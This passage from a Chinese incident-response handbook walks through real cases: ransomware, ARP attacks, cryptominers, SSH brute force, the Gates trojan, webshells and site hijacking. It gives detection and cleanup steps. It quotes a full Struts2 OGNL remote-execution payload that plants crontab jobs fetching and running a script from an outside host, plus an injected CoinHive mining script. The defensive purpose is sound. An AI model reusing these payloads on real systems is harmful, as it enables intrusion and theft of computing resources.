旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到
解密的私钥才有可能破解。自 WannaCry 勒索病毒在全球爆发之后,各种变种及新型勒索病毒层出不穷。
0x01 应急场景
某天早上,网站管理员打开 OA 系统,首页访问异常,显示乱码:
0x02 事件分析
登录网站服务器进行排查,在站点目录下发现所有的脚本文件及附件都被加密为 .sage 结尾的文件,每个文件夹下都有
一个 !HELP_SOS.hta 文件,打包了部分样本:
打开 !HELP_SOS.hta 文件,显示如下: 到这里,基本可以确认是服务器中了勒索病毒,上传样本到 360 勒索病毒网站( http://lesuobingdu.360.cn )进行分
析:确认 web 服务器中了 sage 勒索病毒,目前暂时无法解密。
绝大多数勒索病毒,是无法解密的,一旦被加密,即使支付也不一定能够获得解密密钥。在平时运维中应积极做好备份
工作,数据库与源码分离(类似 OA 系统附件资源也很重要,也要备份)。
遇到了,别急,试一试勒索病毒解密工具:
拒绝勒索软件 网站
https://www.nomoreransom.org/zh/index.html
360 安全卫士勒索病毒专题
http://lesuobingdu.360.cn
0x04 防范措施
一旦中了勒索病毒,文件会被锁死,没有办法正常访问了,这时候,会给你带来极大的困恼。为了防范这样的事情出
现,我们电脑上要先做好一些措施: 1 、安装杀毒软件,保持监控开启,定期全盘扫描
2 、及时更新 Windows 安全补丁,开启防火墙临时关闭端口,如 445 135 137 138 139 3389 等端口
3 、及时更新 web 漏洞补丁,升级 web 组件
4 、备份。重要的资料一定要备份,谨防资料丢失
5 、强化网络安全意识,陌生链接不点击,陌生文件不要下载,陌生邮件不要打开
4 篇: ARP 病毒
0x00 前言
ARP 病毒并不是某一种病毒的名称,而是对利用 arp 协议的漏洞进行传播的一类病毒的总称,目前在局域网中较为
常见。发作的时候会向全网发送伪造的 ARP 数据包,严重干扰全网的正常运行,其危害甚至比一些蠕虫病毒还要严重得
多。
0x01 应急场景
某天早上,小伙伴给我发了一个微信,说 192.168.64.76 CPU 现在负载很高,在日志分析平台查看了一下这台服务
器的相关日志,流量在某个时间点暴涨,发现大量 137 端口的 UDP 攻击。
0x02 分析过程
登录服务器,首先查看 137 端口对应的进程,进程 ID 4 对应的进程是 SYSTEM ,于是使用杀毒软件进行全盘查杀。 卡巴斯基绿色版: http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
卡巴斯基、 360 杀毒、 McAfee 查杀无果,手工将启动项、计划任务、服务项都翻了一遍,并未发现异常。 本地下载了
IpTool 抓包工具,筛选条件: 协议 UDP 端口 137
可以明显的看出 192.168.64.76 发送的数据包是异常的, 192.168.64.76 的数据包目的地址,一直在变,目的 MAC 是不变
的,而这个 MAC 地址就是网关的 MAC
端口 137 udp 包是 netbios 的广播包,猜测:可能是 ARP 病毒,由本机对外的 ARP 攻击。
采用措施:通过借助一些安全软件来实现局域网 ARP 检测及防御功能。
服务器安全狗 Windows 版下载: http://free.safedog.cn/server_safedog.html
网络防火墙 -- 攻击防护 --ARP 防火墙: 虽然有拦截了部分 ARP 请求,但流量出口还是有一些 137 UDF 的数据包。
看来还是得下狠招,关闭 137 端口:禁用 TCP/IP 上的 NetBIOS
1 )、禁用 Server 服务
2 )、禁用 TCP/IP 上的 NetBIOS 设置完,不用重启即可生效, 137 端口关闭,观察了一会,对外发起的请求已消失, CPU 和网络带宽恢复正常。
0x04 防护措施
局域网安全防护依然是一项很艰巨的任务,网络的安全策略,个人 / 服务器的防毒机制,可以在一定程度上防止病毒
入侵。
另外不管是个人 PC 还是服务器,总还是需要做一些基本的安全防护: 1 、关闭 135/137/138/139/445 等端口 2 、更
新系统补丁。
5 篇:挖矿病毒(一)
0x00 前言
随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。病毒传播者可以利用个人电脑或
服务器进行挖矿,具体现象为电脑 CPU 占用率高, C 盘可使用空间骤降,电脑温度升高,风扇噪声增大等问题。
0x01 应急场景
某天上午重启服务器的时候,发现程序启动很慢,打开任务管理器,发现 cpu 被占用接近 100% ,服务器资源占用严重。 0x02 事件分析
登录网站服务器进行排查,发现多个异常进程:
分析进程参数:
wmic process get caption,commandline /value >> tmp.txt TIPS:
windows 下查看某个运行程序(或进程)的命令行参数
使用下面的命令:
wmic process get caption,commandline /value
如果想查询某一个进程的命令行参数,使用下列方式:
wmic process where caption=”svchost.exe” get caption,commandline /value
这样就可以得到进程的可执行文件位置等信息。
访问该链接:
Temp 目录下发现 Carbon run.bat 挖矿程序 : 具体技术分析细节详见:
360CERT :利用 WebLogic 漏洞挖矿事件分析
https://www.anquanke.com/post/id/92223
清除挖矿病毒:关闭异常进程、删除 c temp 目录下挖矿程序 。
临时防护方案
1. 根据实际环境路径,删除 WebLogic 程序下列 war 包及目录
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f
/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.inter
nal/wls-wsat.war
rm -rf
/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_
internal/wls-wsat
2. 重启 WebLogic 或系统后,确认以下链接访问是否为 404
http://x.x.x.x:7001/wls-wsat
0x04 防范措施
新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率。通过利用永恒之
蓝( EternalBlue )、 web 攻击多种漏洞,如 Tomcat 弱口令攻击、 Weblogic WLS 组件漏洞、 Jboss 反序列化漏洞,
Struts2 远程命令执行等,导致大量服务器被感染挖矿程序的现象 。总结了几种预防措施:
1 、安装安全软件并升级病毒库,定期全盘扫描,保持实时防护
2 、及时更新 Windows 安全补丁,开启防火墙临时关闭端口
3 、及时更新 web 漏洞补丁,升级 web 组件
6 篇:挖矿病毒(二)
0x00 前言 作为一个运维工程师,而非一个专业的病毒分析工程师,遇到了比较复杂的病毒怎么办?别怕,虽然对二进制不
熟,但是依靠系统运维的经验,我们可以用自己的方式来解决它。
0x01 感染现象
1 、向大量远程 IP 445 端口发送请求
2 、使用各种杀毒软件查杀无果,虽然能识别出在 C:\Windows\NerworkDistribution 中发现异常文件,但即使删除
NerworkDistribution 后,每次重启又会再次生成。 连杀软清除不了的病毒,只能手工来吧,个人比较偏好火绒,界面比较简洁,功能也挺好用的,自带的火绒剑是安全分
析利器。于是安装了火绒,有了如下分析排查过程。
0x02 事件分析
A 、网络链接
通过现象,找到对外发送请求的进程 ID 4960 B 、进程分析
进一步通过进程 ID 找到相关联的进程,父进程为 1464
找到进程 ID 1464 的服务项,逐一排查,我们发现服务项 RemoteUPnPService 存在异常。 C 、删除服务
选择可疑服务项,右键属性,停止服务,启动类型:禁止。
停止并禁用服务,再清除 NerworkDistribution 目录后,重启计算机。异常请求和目录的现象消失。
又排查了几台,现象一致,就是服务项的名称有点变化。 D 、病毒清除
挖矿病毒清除过程如下:
1 、 停止并禁用可疑的服务项,服务项的名称会变,但描述是不变的,根据描述可快速找到可疑服务项。
可疑服务项描述: Enables a common interface and object model for the Remote UPnP Service to access
删除服务项: Sc delete RemoteUPnPService
2 、 删除 C:\Windows\NerworkDistribution 目录
3 、 重启计算机
4 、 使用杀毒软件全盘查杀
5 、 到微软官方网站下载对应操作系统补丁,下载链接:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
0x03 后记
在查询了大量资料后,找到了一篇在 2018 2 月有关该病毒的报告:
NrsMiner :一个构造精密的挖矿僵尸网络
https://www.freebuf.com/articles/system/162874.html
根据文章提示,这个病毒的构造非常的复杂,主控模块作为服务 “Hyper-VAccess Protection Agent Service”
ServiceDll 存在。但与目前处理的情况有所不同,该病毒疑似是升级了。
第五章: Linux 实战篇
1 篇: SSH 暴力破解
0x00 前言
SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,主要用于给远程登录会话数据进行加密,保
证数据传输的安全。 SSH 口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解,一旦被
攻击者获取,可用来直接登录系统,控制服务器所有权限。 0x01 应急场景
某天,网站管理员登录服务器进行巡检时,发现端口连接里存在两条可疑的连接记录,如下图:
1. TCP 初始化连接三次握手吧:发 SYN 包,然后返回 SYN/ACK 包,再发 ACK 包,连接正式建立。但是这里有点出入,
当请求者收到 SYS/ACK 包后,就开始建立连接了,而被请求者第三次握手结束后才建立连接。
2. 客户端 TCP 状态迁移:
CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED
服务器 TCP 状态迁移:
CLOSED->LISTEN->SYN recv->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED
3. 当客户端开始连接时,服务器还处于 LISTENING ,客户端发一个 SYN 包后,服务端接收到了客户端的 SYN 并且发送
ACK 时,服务器处于 SYN_RECV 状态,然后并没有再次收到客户端的 ACK 进入 ESTABLISHED 状态,一直停留在
SYN_RECV 状态。
在这里, SSH 22 )端口,两条外网 IP SYN_RECV 状态连接,直觉告诉了管理员,这里一定有什么异常。
0x02 日志分析
SSH 端口异常,我们首先有必要先来了解一下系统账号情况:
A 、系统账号情况
1 、除 root 之外,是否还有其它特权用户 (uid 0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
root
2 、可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
root:$6$38cKfZDjsTiUe58V$FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1XmKHgK3j3GY9EGvwwBei7nUbbqJC./qK12HN8j
FuXOfEYIKLID6hq0::0:99999:7:::
我们可以确认目前系统只有一个管理用户 root
接下来,我们想到的是 /var/log/secure ,这个日志文件记录了验证和授权方面的信息,只要涉及账号和密码的程序都会
记录下来。
B 、确认攻击情况:
1 、统计了下日志,发现大约有 126254 次登录失败的记录,确认服务器遭受暴力破解
[root@localhost ~]# grep -o "Failed password" /var/log/secure|uniq -c 126254 Failed password
2 、输出登录爆破的第一行和最后一行,确认爆破时间范围:
[root@localhost ~]# grep "Failed password" /var/log/secure|head -1
Jul 8 20:14:59 localhost sshd[14323]: Failed password for invalid user qwe from 111.13.xxx.xxx
port 1503 ssh2
[root@localhost ~]# grep "Failed password" /var/log/secure|tail -1
Jul 10 12:37:21 localhost sshd[2654]: Failed password for root from 111.13.xxx.xxx port 13068
ssh2
3 、进一步定位有哪些 IP 在爆破?
[root@localhost ~]# grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|
[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-
9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr
12622 23.91.xxx.xxx
8942 114.104.xxx.xxx
8122 111.13.xxx.xxx
7525 123.59.xxx.xxx
...................
4 、爆破用户名字典都有哪些?
[root@localhost ~]# grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?)
from/; print "$1\n";}'|uniq -c|sort -nr
9402 root
3265 invalid user oracle
1245 invalid user admin
1025 invalid user user
.....................
C 、管理员最近登录情况:
1 、登录成功的日期、用户名、 IP
[root@localhost ~]# grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
Jul 9 09:38:09 root 192.168.143.100
Jul 9 14:55:51 root 192.168.143.100
Jul 10 08:54:26 root 192.168.143.100
Jul 10 16:25:59 root 192.168.143.100
............................
通过登录日志分析,并未发现异常登录时间和登录 IP
2 、顺便统计一下登录成功的 IP 有哪些:
[root@localhost ~]# grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c |
sort -nr | more
27 192.168.204.1
通过日志分析,发现攻击者使用了大量的用户名进行暴力破解,但从近段时间的系统管理员登录记录来看,并未发现异
常登录的情况,需要进一步对网站服务器进行入侵排查,这里就不再阐述。
0x04 处理措施
SSH 暴力破解依然十分普遍,如何保护服务器不受暴力破解攻击,总结了几种措施: 1 、禁止向公网开放管理端口,若必须开放应限定管理 IP 地址并加强口令安全审计(口令长度不低于 8 位,由数字、大小写字母、
特殊字符等至少两种以上组合构成)。
2 、更改服务器 ssh 默认端口。
3 、部署入侵检测设备,增强安全防护。
2 篇:捕捉短连接
0x00 前言
短连接( short connnection )是相对于长连接而言的概念,指的是在数据传送过程中,只在需要发送数据时,才去建
立一个连接,数据发送完成后,则断开此连接,即每次连接只完成一项业务的发送。 在系统维护中,一般很难去察觉,
需要借助网络安全设备或者抓包分析,才能够去发现。
0x01 应急场景
某天,网络管理员在出口 WAF 检测到某台服务器不断向香港 I 发起请求 ,感觉很奇怪,登录服务器排查,想要找到发起
短连接的进程。
0x02 日志分析
登录服务器查看端口、进程,并未发现发现服务器异常,但是当多次刷新端口连接时,可以查看该连接。 有时候一直刷
这条命令好十几次才会出现,像这种的短连接极难捕捉到对应的进程和源文件。
手动捕捉估计没戏,很难追踪,于是动手写了一段小脚本来捕捉短连接对应的 pid 和源文件。
脚本文件如下: #!/bin/bash
ip=118.184.15.40
i=1
while :
do
tmp=netstat -anplt|grep $ip|awk -F '[/]' '{print $1}'|awk '{print $7}'
#echo $tmp
if test -z "$tmp"
then
((i=i+1))
else
for pid in $tmp; do
echo "PID: "${pid}
result=ls -lh /proc/$pid|grep exe
echo "Process: "${result}
kill -9 $pid
done
break
fi
done
echo "Total number of times: "${i}
运行结果如下:
跑了三次脚本,可以发现短连接每次发起的进程 Pid 一直在变,但已经捕捉到发起该异常连接的进程源文件为
/usr/lib/nfsiod
0x04 小结
本文简单介绍了短连接以及捕捉短连接源文件的技巧,站在安全管理员的角度,应加强对网络安全设备的管理,在网络
层去发现更多在系统层很难察觉的安全威胁。
3 篇:挖矿病毒
0x00 前言
随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的
挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝
EternalBlue )、 web 攻击多种漏洞(如 Tomcat 弱口令攻击、 Weblogic WLS 组件漏洞、 Jboss 反序列化漏洞、 Struts2
远程命令执行等),导致大量服务器被感染挖矿程序的现象 。 0x01 应急场景
某天,安全管理员在登录安全设备巡检时,发现某台网站服务器持续向境外 IP 发起连接,下载病毒源:
0x02 事件分析
A 、排查过程
登录服务器,查看系统进程状态,发现不规则命名的异常进程、异常下载进程 :
下载 logo.jpg ,包含脚本内容如下: 到这里,我们可以发现攻击者下载 logo.jpg 并执行了里面了 shell 脚本,那这个脚本是如何启动的呢?
通过排查系统开机启动项、定时任务、服务等,在定时任务里面,发现了恶意脚本,每隔一段时间发起请求下载病毒
源,并执行 。
B 、溯源分析
Tomcat log 日志中,我们找到这样一条记录:
对日志中攻击源码进行摘录如下:
{(#_='multipart/form - data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget - O - - q
http://5.188.87.11/icons/logo.jpg|sh\n*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" |
crontab -; wget - O - - q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
{'cmd.exe','/c',#cmd}:{'/bin/bash',' - c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
可以发现攻击代码中的操作与定时任务中异常脚本一致,据此推断黑客通过 Struct 远程命令执行漏洞向服务器定时任务
中写入恶意脚本并执行。
C 、清除病毒
1 、删除定时任务 :
2 、终止异常进程 :
D 、漏洞修复
升级 struts 到最新版本
0x03 防范措施
针对服务器被感染挖矿程序的现象,总结了几种预防措施:
1 、安装安全软件并升级病毒库,定期全盘扫描,保持实时防护
2 、及时更新 Windows 安全补丁,开启防火墙临时关闭端口
3 、及时更新 web 漏洞补丁,升级 web 组件
4 篇:盖茨木马
0x00 前言
Linux 盖茨木马是一类有着丰富历史,隐藏手法巧妙,网络攻击行为显著的 DDoS 木马,主要恶意特点是具备了后门程
序, DDoS 攻击的能力,并且会替换常用的系统文件进行伪装。木马得名于其在变量函数的命名中,大量使用 Gates 这个
单词。分析和清除盖茨木马的过程,可以发现有很多值得去学习和借鉴的地方。 0x01 应急场景
某天,网站管理员发现服务器 CPU 资源异常,几个异常进程占用大量网络带宽:
0x02 事件分析
异常 IP 连接:
异常进程:
查看进行发现 ps aux 进程异常,进入该目录发现多个命令,猜测命令可能已被替换
登录服务器,查看系统进程状态,发现不规则命名的异常进程、异常下载进程 : 异常启动项
进入 rc3.d 目录可以发现多个异常进行:
/etc/rc.d/rc3.d/S97DbSecuritySpt
/etc/rc.d/rc3.d/S99selinux
搜索病毒原体
find / -size -1223124c -size +1223122c -exec ls -id {} \; 搜索 1223123 大小的文件 从以上种种行为发现该病毒与 盖茨木马 有点类似,具体技术分析细节详见:
Linux 平台 盖茨木马 分析
http://www.freebuf.com/articles/system/117823.html
悬镜服务器卫士丨 Linux 平台 盖茨木马 分析
http://www.sohu.com/a/117926079_515168
手动清除木马过程:
1 、简单判断有无木马
# 有无下列文件
cat /etc/rc.d/init.d/selinux
cat /etc/rc.d/init.d/DbSecuritySpt
ls /usr/bin/bsd-port
ls /usr/bin/dpkgd
# 查看大小是否正常
ls -lh /bin/netstat
ls -lh /bin/ps
ls -lh /usr/sbin/lsof
ls -lh /usr/sbin/ss
2 、上传如下命令到 /root
ps netstat ss lsof
3 、删除如下目录及文件
rm -rf /usr/bin/dpkgd (ps netstat lsof ss)
rm -rf /usr/bin/bsd-port # 木马程序
rm -f /usr/bin/.sshd # 木马后门
rm -f /tmp/gates.lod
rm -f /tmp/moni.lod
rm -f /etc/rc.d/init.d/DbSecuritySpt( 启动上述描述的那些木马变种程序 )
rm -f /etc/rc.d/rc1.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc2.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc3.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc4.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc5.d/S97DbSecuritySpt
rm -f /etc/rc.d/init.d/selinux( 默认是启动 /usr/bin/bsd-port/getty)
rm -f /etc/rc.d/rc1.d/S99selinux rm -f /etc/rc.d/rc2.d/S99selinux
rm -f /etc/rc.d/rc3.d/S99selinux
rm -f /etc/rc.d/rc4.d/S99selinux
rm -f /etc/rc.d/rc5.d/S99selinux
4 、找出异常程序并杀死
5 、删除含木马命令并重新安装
0x03 命令替换
RPM check 检查:
系统完整性也可以通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包 , 有哪些被篡改了 , 防止 rpm 也被替换 , 上传一个安全干净稳定版
rpm 二进制到服务器上进行检查
./rpm -Va > rpm.log
如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式是 8 位长字符串 , ``c 用以指配置文
, 接着是文件名 . 8 位字符的每一个 用以表示文件与 RPM 数据库中一种属性的比较结果 。 ``. ( ) 表示测试通过。 . 下面的
字符表示对 RPM 软件包进行的某种测试失败:
命令替换:
rpm2cpio 包全名 | cpio -idv . 文件绝对路径 rpm 包中文件提取
Rpm2cpio rpm 包转换为 cpio 格式的命令
Cpio 是一个标准工具,它用于创建软件档案文件和从档案文件中提取文件
Cpio 选项 < [ 文件 | 设备 ]
-i copy-in 模式,还原
-d :还原时自动新建目录
-v :显示还原过程
文件提取还原案例: rpm -qf /bin/ls 查询 ls 命令属于哪个软件包
mv /bin/ls /tmp
rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取 rpm 包中 ls 命令
到当前目录的 /bin/ls
cp /root/bin/ls /bin/ ls 命令复制到 /bin/ 目录 修复文件丢失
挂载命令 rpm 包:
mkdir /mnt/chrom/ 建立挂载点
mount -t iso9660 /dev/cdrom /mnt/cdrom/ 挂在光盘
mount/dev/sr0 /mnt/cdrom/
卸载命令
umount 设备文件名或挂载点
umount /mnt/cdrom/
5 篇: DDOS 病毒
现象描述
某服务器网络资源异常 , 感染该木马病毒的服务器会占用网络带宽,甚至影响网络业务正常应用。
系统分析
针对日志服务器病毒事件排查情况: 在开机启动项 /etc/rc.d/rc.local 发现可疑的 sh.sh 脚本,进一步跟踪 sh.sh 脚本 , 这是
一个检测病毒十分钟存活的脚本。
root 目录下发现存活检测脚本 解决步骤:
1. 结束进程 ps aux | grep "conf.m" | grep -v grep | awk ‘{print $2}‘| xargs kill -9
2. 清除自动启动脚本 vim /etc/rc.local 去掉 sh /etc/chongfu.sh &
3. 清除 脚本 rm -rf /etc/chongfu.sh /tem/chongfu.sh
4. 修改登录密码 passwd
5. 重启。 reboot
第六章: Web 实战篇
1 篇:网站被植入 Webshell
网站被植入 webshell ,意味着网站存在可利用的高危漏洞,攻击者通过利用漏洞入侵网站,写入 webshell 接管网站的控
制权。为了得到权限 ,常规的手段如:前后台任意文件上传,远程命令执行, Sql 注入写入文件等。
现象描述
网站管理员在站点目录下发现存在 webshell ,于是开始了对入侵过程展开了分析。
Webshell 查杀工具:
D _Web 查杀 Window webshell 查杀: http://www.d99net.net/index.asp 河马:支持多平台,但是需要联网环境。
使用方法 : wget http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz tar xvf hm-linux-amd64.tgz hm scan
/www
事件分析
1 、定位时间范围
通过发现的 webshell 文件创建时间点,去翻看相关日期的访问日志。
2 Web 日志分析
经过日志分析,在文件创建的时间节点并未发现可疑的上传,但发现存在可疑的 webservice 接口
3 、漏洞分析
访问 webservice 接口,发现变量: buffer distinctpach newfilename 可以在客户端自定义 4 、漏洞复现
尝试对漏洞进行复现,可成功上传 webshell ,控制网站服务器 5 、漏洞修复
清除 webshell 并对 webservice 接口进行代码修复。
从发现 webshell 到日志分析,再到漏洞复现和修复,本文暂不涉及溯源取证方面。
2 篇:门罗币恶意挖矿
门罗币 (Monero XMR) ,它是一个非常注重于隐私、匿名性和不可跟踪的加密数字货币。只需在网页中配置好 js
本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑灰色产业获取收益的重
要途径。
现象描述
利用 XMR 恶意挖矿,会大量占用用户的 CPU 资源,严重影响了网站的用户体验。
08/09 0 点开始,局域网内某 IP 访问网站页面会触发安全预警,只要访问此服务器上的网页, CPU 直线上升 100% 事件分析
通过获取恶意网页 url ,对网页页面进行分析,发现网站页面被植入在线门罗币挖矿代码:
<script> var script = document.createElement('script') ; script.onload = function () {
// XMR Pool hash var m = new CoinHive.Anonymous('BUSbODwUSryGnrIwy3o6Fhz1wsdz3ZNu') ;
// TODO: Replace the below string with wallet string
m.start('47DuVLx9UuD1gEk3M4Wge1BwQyadQs5fTew8Q3Cxi95c8W7tKTXykgDfj7HVr9aCzzUNb9vA6eZ3eJCXE9yzhmT
n1bjACGK') ; } ; script.src = 'https://coinhive.com/lib/coinhive.min.js' ;
document.head.appendChild(script) ; </script>
删除 js 里面的恶意代码,网站被 XMR 恶意挖矿,服务器已经被攻击,进一步做服务器入侵排查。
3 篇:批量挂黑页
作为一个网站管理员,你采用开源 CMS 做网站,比如 dedecms ,但是有一天,你忽然发现不知何时,网站的友情链接模
块被挂大量垃圾链接,网站出现了很多不该有的目录,里面全是博彩相关的网页。而且,攻击者在挂黑页以后,会在一
些小论坛注册马甲将你的网站黑页链接发到论坛,引爬虫收录。在搜索引擎搜索网站地址时,收录了一些会出现一些博
彩页面,严重影响了网站形象。
现象描述:
网站存在高危漏洞,常见于一些存在安全漏洞的开源 CMS ,利用 0day 批量拿站上传黑页。
某网站被挂了非常多博彩链接,链接形式如下:
http://www.xxx.com/upload/aomendduchangzaixiandobo/index.html
http://www.xxx.com/upload/aomendduchangzaixian/index.html
http://www.xxx.com/upload/aomenzhengguidubowangzhan/index.html
链接可以访问,直接访问物理路径也可以看到文件,但是打开网站目录并没有发现这些文件,这些文件到底藏在了哪? 访问这些链接,跳转到如图页面:
事件分析:
1 、打开电脑文件夹选项卡,取消 隐藏受保护的操作系统文件 勾选,把 隐藏文件和文件夹 下面的单选选择 显示隐藏的
文件、文件夹和驱动器 2 、再次查看,可以看到半透明的文件夹,清楚隐藏文件夹及所有页面
3 、然后清除 IIS 临时压缩文件
C:\inetpub\temp\IIS Temporary Compressed Files\WEBUI$^_gzip_D^\WEB\WEBUI\UPLOAD 4 、投诉快照,申请删除相关的网页收录,减少对网站的影响。
4 篇:新闻源网站劫持
新闻源网站一般权重较高,收录快,能够被搜索引擎优先收录,是黑灰产推广引流的必争之地,很容易成为被攻击的对
象。被黑以后主要挂的不良信息内容主要是博彩六合彩等赌博类内容,新闻源网站程序无论是自主开发的还是开源程
序,都有被黑的可能,开源程序更容易被黑。
现象描述:
某新闻源网站首页广告链接被劫持到菠菜网站
有三个广告专题,链接形式如下:
http://www.xxx.cn/zhuanti/yyysc/index.shtml
http://www.xxx.cn/zhuanti/wwwsc/index.shtml
http://www.xxx.cn/zhuanti/zzzsc/index.shtml
点击这三条链接会跳转到博彩网站。简单抓包分析一下过程: 可以发现此时这个返回页面已被劫持,并且加载了第三方 js 文件, http://xn--dpqw2zokj.com/N/js/dt.js ,进一步访问该
文件:
dt.js 进一步加载了另一条 js ,访问 http://xn--dpqw2zokj.com/N/js/yz.js
我们发现链接跳转到 https://lemcoo.com/?dt ,进一步访问这个链接,网站为博彩链接导航网站,访问后会随机跳转到
第三方赌博网站。 事件分析:
找到 url 对应的文件位置,即使文件被删除,链接依然可以访问,可以发现三条链接都是以 “sc” 后缀。
Nginx 配置文件进行排查,发现 Nginx 配置文件 VirtualHost.conf 被篡改,通过反向代理匹配以 “sc” 后缀的专题链接,
劫持到 http://103.233.248.163 ,该网站为博彩链接导航网站。
删除恶意代理后,专题链接访问恢复。
5 篇:移动端劫持
PC 端访问正常,移动端访问出现异常,比如插入弹窗、嵌入式广告和跳转到第三方网站,将干扰用户的正常使用,对用
户体验造成极大伤害。
现象描述
部分网站用户反馈,手机打开网站就会跳转到赌博网站。
事件分析
访问网站首页,抓取到了一条恶意 js http://js.zadovosnjppnywuz.com/caonima.js 我们可以发现,攻击者通过这段 js 代码判断手机访问来源,劫持移动端(如手机、 ipad Android 等)流量,跳转到 htt
ps://262706.com
进一步访问 https://262706.com ,跳转到赌博网站:
6 篇:搜索引擎劫持
当你直接打开网址访问网站,是正常的,可是当你在搜索引擎结果页中打开网站时,会跳转到一些其他网站,比如博
彩,虚假广告,淘宝搜索页面等。是的,你可能了遇到搜索引擎劫持。
现象描述
从搜索引擎来的流量自动跳转到指定的网页
事件分析
通过对 index.php 文件进行代码分析,发现该文件代码 对来自搜狗和好搜的访问进行流量劫持。 进一步跟着 include 函数包含的文件, index,php 包含 /tmp/.ICE-unix/.. /c.jpg
进入 /tmp 目录进行查看,发现该目录下,如 c.jpg 等文件,包含着一套博彩劫持的程序。
7 篇:网站首页被篡改
网站首页被非法篡改,是的,就是你一打开网站就知道自己的网站出现了安全问题,网站程序存在严重的安全漏洞,攻
击者通过上传脚本木马,从而对网站内容进行篡改。而这种篡改事件在某些场景下,会被无限放大。 现象描述
网站首页被恶意篡改,比如复制原来的图片, PS 一下,然后替换上去。
事件分析
1 确认篡改时间
通过对被篡改的图片进行查看,确认图片篡改时间为 2018 04 18 19:24:07
2 、访问日志溯源
通过图片修改的时间节点,发现可疑 IP 113.xx.xx.24 (代理 IP ,无法追溯真实来源),访问 image.jsp (脚本木马),
并随后访问了被篡改的图片地址。 进一步审查所有的日志文件 ( 日志保存时间从 2017-04-20 2018-04-19) ,发现一共只有两次访问 image.jsp 文件的记
录,分别是 2018-04-18 2017-09-21
image.jsp 2017-09-21 之前就已经上传到网站服务器,已经潜藏长达半年多甚至更久的时间。
3 、寻找真相
我们在网站根目录找到了答案,发现站点目录下存在 ROOT.rar 全站源码备份文件,备份时间为 2017-02-28 10:35
通过对 ROOT.rar 解压缩,发现源码中存在的脚本木马与网站访问日志的可疑文件名一致( image.jsp )。 根据这几个时间节点,我们尝试去还原攻击者的攻击路径。
但是我们在访问日志并未找到 ROOT.rar 的访问下载记录,访问日志只保留了近一年的记录,而这个 webshell 可能已经存
在了多年。
黑客是如何获取 webshell 的呢?
可能是通过下载 ROOT.rar 全站源码备份文件获取到其中存在的木马信息,或者几年前入侵并潜藏了多年,又或者是从地
下黑产购买了 shell ,我们不得而知。
本文的示例中攻击者为我们留下了大量的证据和记录,而更多时候,攻击者可能会清除所有的关键信息,这势必会加大
调查人员的取证难度。
8 篇:管理员账号被篡改
你是某一个网站的管理员,有一天,你的管理员账号 admin 却登录不了,进入数据库查看,原来管理员账号用户名不存
在了,却多了另外一个管理员用户名。不对,不是新增了管理员,而是你的管理员用户名被篡改了。
现象描述
前后端分离,后台只允许内网访问,管理员账号 admin 却依然被多次被篡改
事件分析
1 、网站 webshell
在针对网站根目录进行 webshell 扫描,发现存在脚本木马,创建时间为 2018-06-13 04:30:30 2 、 定位 IP
通过木马创建时间, 查看网站访问日志,定位到 IP 为: 180.xx.xx.3
3 、关联分析
全局搜索与该 IP 有关的操作日志:
在脚本木马生成前,有两条比较可疑的访问日志吸引了我们的注意:
